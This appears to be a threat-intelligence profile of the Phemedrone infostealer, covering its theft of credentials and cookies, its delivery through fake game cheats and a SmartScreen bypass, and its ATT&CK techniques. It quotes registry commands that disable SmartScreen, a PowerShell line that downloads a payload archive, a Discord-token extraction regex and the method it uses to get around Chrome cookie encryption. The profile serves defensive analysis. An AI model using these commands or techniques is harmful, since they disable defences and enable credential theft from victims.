Phemedrone
- Type
- Infostealer
- Capabilities
- Credential theftSession hijackingExfiltrationDefense evasionReconnaissanceCrypto theft
- Delivery
- LureCracked software
- Platforms
- Windows
Phemedrone is a free, open-source information stealer written in C# that targets Windows systems. Its customizable builder and supporting panel enable operators to configure collection, filtering, and exfiltration. It steals saved passwords, cookies, payment-card information, and other data from Chromium- and Gecko-based browsers; cryptocurrency wallet data; Discord tokens; Telegram and Steam account data; FileZilla connection information; and VPN configuration data. It also targets browser extensions associated with cryptocurrency wallets, password managers, and authenticators, collects selected local files, captures screenshots, and gathers system and geolocation information.
Phemedrone parses stolen passwords and cookies on the victim machine and categorizes them using configurable tags to help operators identify valuable accounts. It supports exfiltration through web-based gate or panel infrastructure and Telegram, with optional AES and RSA encryption for Telegram-delivered logs. Anti-analysis features include debugger and virtual-machine checks, a mutex check, and an optional keyboard-language check for CIS countries that is disabled by default.
Phemedrone has been deployed through exploitation of the Windows SmartScreen security-feature bypass CVE-2023-36025. Other distribution campaigns have used YouTube videos advertising game cheats and software cracks, as well as counterfeit or trojanized restriction-bypass utilities. Attackers have also distributed a rebranded variant called VGS. Its freely available source code facilitates customization by different operators.
Phemedrone can obtain Chrome cookies despite App-Bound Encryption. Version 2.3.2 introduced a technique that launches Chrome with remote debugging enabled and its window positioned off-screen, then connects to the DevTools interface over WebSocket and requests plaintext cookies. Theft of these authentication cookies and application tokens enables attackers to reuse victims’ authenticated sessions.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Others include StealC, RedLine, Odebug and other Phemedrone variants, and NodeJS loaders and downloaders.
Techniques & procedures
23 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
Gather Victim Network Information - T1590.005 7 out of the 17 malware families analyzed by STRT were observed collecting network-related information, such as the public IP address, geographic location, and other metadata, by querying external IP-lookup web services.
Initial Access
1 technique
Initial Access
The original distribution method started with YouTube videos promoting game cheats. The videos were frequently accompanied by a link to an archive and a password to unlock it.
Execution
2 techniques
Execution
Its only purpose was to download another password-protected archive via PowerShell... Following that, start.bat would use PowerShell to launch the executable files from the archive.
Upon unpacking the archive, the user would invariably discover a start.bat batch file in the root folder... Following that, start.bat would use PowerShell to launch the executable files from the archive.
Persistence
1 technique
Persistence
reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\AppHost" / v "EnableWebContentEvaluation" / t REG_DWORD / d 0 / f reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" / v "SmartScreenEnabled" / t REG_SZ / d "Off" / f
Privilege Escalation
1 technique
Privilege Escalation
Multiple families have successfully bypassed App-Bound Encryption including Phemedrone, LummaC2, Meduza, Vidar, StealC, Rhadamanthys, WhiteSnake, Meta, and Lumar.
Stealth
4 techniques
Stealth
They started distributing malware under the guise of restriction bypass programs and injecting malicious code into existing programs.
Phemedrone contains several anti-analysis checks which can be enabled during the build phase of the malware. If any of the checks described below are successful, Phemedrone exits.
Anti-VM Phemedrone’s anti-VM check checks the victim’s computer for the following virtual machine (VM) strings, which indicate that Phemedrone is being run in a VM.
Anti-debugger Phemedrone’s anti-debugger check checks the victim’s environment for the following processes, which may indicate that Phemedrone is being debugged.
Defense Impairment
2 techniques
Defense Impairment
reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\AppHost" / v "EnableWebContentEvaluation" / t REG_DWORD / d 0 / f reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" / v "SmartScreenEnabled" / t REG_SZ / d "Off" / f
While doing so, it added every drive root folder to SmartScreen filter exceptions. It then reset the EnableWebContentEvaluation and SmartScreenEnabled registry keys... to disable SmartScreen altogether.
Credential Access
4 techniques
Credential Access
Phemedrone will target Discord tokens by accessing the Discord leveldb database, stored on a victim’s computer. It will then regex for “dQw4w9WgXcQdQw4w9WgXcQ:[^\”]*”, which it will use to extract the victim’s Discord token for authentication purposes.
Infostealers implement bypasses around Chrome Application-Bound Encryption to retrieve cookie data; STEALC, METASTEALER, PHEMEDRONE, XENOSTEALER, and LUMMA recover cookies in plaintext.
This type of malware steals all kinds of data from the system it infects, including credentials (passwords and cookies) for VPNs, RDP, business services, banking and social media, stored by a variety of apps (including popular browsers like Chrome and Firefox).
The malware accesses Chrome's Cookies SQLite database and profile Local State or LocalPrefs.json files, including encrypted_key and app_bound_encrypted_key values.
Discovery
5 techniques
Discovery
PHEMEDRONE performs a browser check for Chrome versions greater than or equal to 127. STEALC selects CookieMonster signature patterns based on the installed Chrome version.
Phemedrone contains several anti-analysis checks which can be enabled during the build phase of the malware. If any of the checks described below are successful, Phemedrone exits.
Anti-VM Phemedrone’s anti-VM check checks the victim’s computer for the following virtual machine (VM) strings, which indicate that Phemedrone is being run in a VM.
CIS check Phemedrone has a check that checks if a victim is a speaker of the following languages spoken in Commonwealth of Independent States (CIS) countries, by using a keyboard language check.
Anti-debugger Phemedrone’s anti-debugger check checks the victim’s environment for the following processes, which may indicate that Phemedrone is being debugged.
Collection
3 techniques
Collection
Phemedrone also includes a basic filegrabber, which will iterate through My Documents and Desktop and steal all files based on config supplied max file size and directory depth.
Phemedrone will automatically obtain a screenshot of the victim’s screen post installation for exfiltration.
The videos were frequently accompanied by a link to an archive and a password to unlock it... download another password-protected archive via PowerShell, and unpack that with UnRAR.exe
Command and Control
2 techniques
Command and Control
Threat hunters continually look for efficient ways to identify command-and-control (C2) servers
Its only purpose was to download another password-protected archive via PowerShell... powershell - Command "(New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/.../black.rar?...', 'C:\Users\<redacted>\AppData\Local\Temp\black.rar')"
Exfiltration
1 technique
Exfiltration
This blog post focuses on analyzing logs exfiltrated by infostealers, specifically to Telegram, through their Bot API.
Observables
8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.